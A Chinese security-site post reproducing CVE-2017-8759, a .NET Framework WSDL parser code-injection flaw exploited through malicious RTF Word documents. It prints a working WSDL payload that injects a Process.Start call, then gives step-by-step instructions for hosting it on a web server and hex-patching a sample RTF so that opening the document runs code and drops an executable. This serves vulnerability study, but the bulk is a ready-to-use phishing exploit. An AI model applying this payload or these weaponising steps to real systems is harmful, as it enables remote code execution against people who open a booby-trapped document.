神刀安全网

.NET框架0Day漏洞CVE-2017-8759复现过程

FireEye 最近检测到一个恶意的Microsoft Office RTF文档,利用 CVE-2017-8759 (一种SOAP WSDL解析器代码注入漏洞)。此漏洞允许在解析SOAP WSDL定义内容期间注入任意代码。

基本信息

漏洞名称:.NET Framework远程代码执行漏洞

漏洞编号:CVE-2017-8759

漏洞影响:.NET系列产品的远程代码执行(RCE)并进一步控制系统

利用场景:远程钓鱼、社会工程

影响版本:以下.NET版本

Microsoft .NET Framework 4.6.2

Microsoft .NET Framework 4.6.1

Microsoft .NET Framework 3.5.1

Microsoft .NET Framework 4.7

Microsoft .NET Framework 4.6

Microsoft .NET Framework 4.5.2

Microsoft .NET Framework 3.5

Microsoft .NET Framework 2.0 SP2

影响产品:Office(word excel)Edge IE WinOS Skype Lync Sharepoint

漏洞利用点

PrintClientProxy方法中的WSDL解析器模块中存在代码注入漏洞。如果提供的包含CRLF序列的数据,则IsValidUrl不会执行正确的验证。这就造成了攻击者注入和执行任意代码。

这里不详细介绍了(因为我也不懂),可以参考火眼和360的分析。

.NET框架0Day漏洞CVE-2017-8759复现过程

利用过程

方法一

新建一个图片文件,名字为office.png(其他格式也行),内容为:

<definitions     xmlns="http://schemas.xmlsoap.org/wsdl/"      xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"      xmlns:suds="http://www.w3.org/2000/wsdl/suds"      xmlns:tns="http://schemas.microsoft.com/clr/ns/System"      xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">     <portTypename="PortType"/>     <bindingname="Binding"type="tns:PortType">         <soap:bindingstyle="rpc"transport="http://schemas.xmlsoap.org/soap/http"/>         <suds:classtype="ns0:Image"rootType="MarshalByRefObject"></suds:class>     </binding>     <servicename="Service">         <portname="Port"binding="tns:Binding">             <soap:addresslocation="http://localhost?C:/Windows/System32/calc.exe?011"/>    <soap:addresslocation=";    if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {     System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);     System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);    } //"/>         </port>     </service> </definitions> 

然后放在web目录。

根据样本文件,发现是在word文档中添加一个SOAP标记。

格式为 soap:wsdl=http://192.168.135.135/office/office.png

本次以样本为例,然后修改其中的地址。

.NET框架0Day漏洞CVE-2017-8759复现过程

分别用样本和自己的web地址生成特hex格式的地址,然后将样本中的地址更换为自己的地址即可。(注意替换的长度需保持一致)

.NET框架0Day漏洞CVE-2017-8759复现过程

样本文件最重要的是倒数第三行(看起来是空白),然后可以将上面无用的内容全部删除,只留下最后三行。

.NET框架0Day漏洞CVE-2017-8759复现过程

然后就是打开该word文档,就可以看到计算器弹出。但实现的过程有点问题,就是必须点更新链接才会触发(即使将添加objupdate还是不行)。

.NET框架0Day漏洞CVE-2017-8759复现过程

方法二

参考 https://github.com/vysec/CVE-2017-8759

新建o.png,内容为:

.NET框架0Day漏洞CVE-2017-8759复现过程

word.db内容:

.NET框架0Day漏洞CVE-2017-8759复现过程

新建一个rtf文档,用记事本打开,将 /object/objautlink/rsltpict 修改为 /object/objautlink/objupdate/rsltpict
打开blob.bin文件

.NET框架0Day漏洞CVE-2017-8759复现过程

将其中的地址修改为 http://192.168.135.135/office/o.png

复制原来的地址,尽量多复制点空格。

.NET框架0Day漏洞CVE-2017-8759复现过程

然后生成新的hex地址

.NET框架0Day漏洞CVE-2017-8759复现过程

然后用生成的地址替换blob.bin中的地址

.NET框架0Day漏洞CVE-2017-8759复现过程

然后将blob.bin中的内容替换word文档的source

然后打开word文档,就会有神奇的事情发生。

.NET框架0Day漏洞CVE-2017-8759复现过程

恶意软件将被放置在 C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/OfficeUpdte-KB[6个随机数字].exe

以上均在虚拟机上测试。没有使用样本中的left.jpg。最后结果确实如火眼所说的那样生成了OfficeUpdte-KB******.exe文件。在win10(真机)上测试的时候还生成了http1001924168413541350office0office4png.pdb、http1001924168413541350office0office4png.dll和Logo.cs三个文件。

这里方法一没有直接执行的原因我也不太清楚,但是用方法二插入office.png,也是不会直接执行的。如果方法一和二中过程替换一下,效果也是一样的。

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » .NET框架0Day漏洞CVE-2017-8759复现过程

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址